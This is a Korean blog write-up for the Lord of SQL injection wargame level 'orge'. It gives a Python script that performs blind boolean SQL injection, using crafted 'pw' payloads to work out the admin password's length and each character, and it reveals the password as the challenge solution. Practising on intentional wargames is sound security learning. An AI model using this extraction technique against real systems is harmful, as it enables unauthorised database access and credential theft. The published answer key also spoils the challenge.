본문 바로가기

Wargame/Lord Of SQL injection (eagle-jump)

[LOS] 7번 orge










이번 문제는 orge이다.







admin의 pw를 알아내면 풀리는 문제이다.


id가 admin일 때의 쿼리문이 참이 되면 Hello admin이라는 문구가 뜬다.


이를 이용해서 pw를 알아내면 된다.


파이썬 코드로 작성해보면 다음과 같다.




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
URL = "http://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
 
head = {'cookie' : ' '}
 
def matching(num) :
    for i in range(1,num+1) :
        for j in range(32,127) :
            params = {'pw' : '\' || id=\'admin\' && ascii(substr(binary(pw)),%d,1)=%d -- ' % (i,j)}
            res = requests.get(url=URL, params=params, headers=head)
            if("Hello admin" in res.text) :
                print(chr(j))
                break
 
for a in range(120) :
    params_length = {'pw' : '\' || id=\'admin\' && length(pw)=%d -- ' % a}
    res_length = requests.get(url=URL, params=params_length, headers=head)
    if("Hello admin" in res_length.text) :
        print(a)
        matching(a)
        break
cs






pw는 8글자이고 6c864dec 이다.





?pw=6c864dec


입력해주면 쿼리문이 다음과 같이 된다.






문제 해결

'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글

[LOS] 9번 vampire  (0) 2017.08.14
[LOS] 8번 troll  (0) 2017.08.14
[LOS] 6번 darkelf  (0) 2017.08.14
[LOS] 5번 wolfman  (0) 2017.08.14
[LOS] 4번 orc  (0) 2017.08.14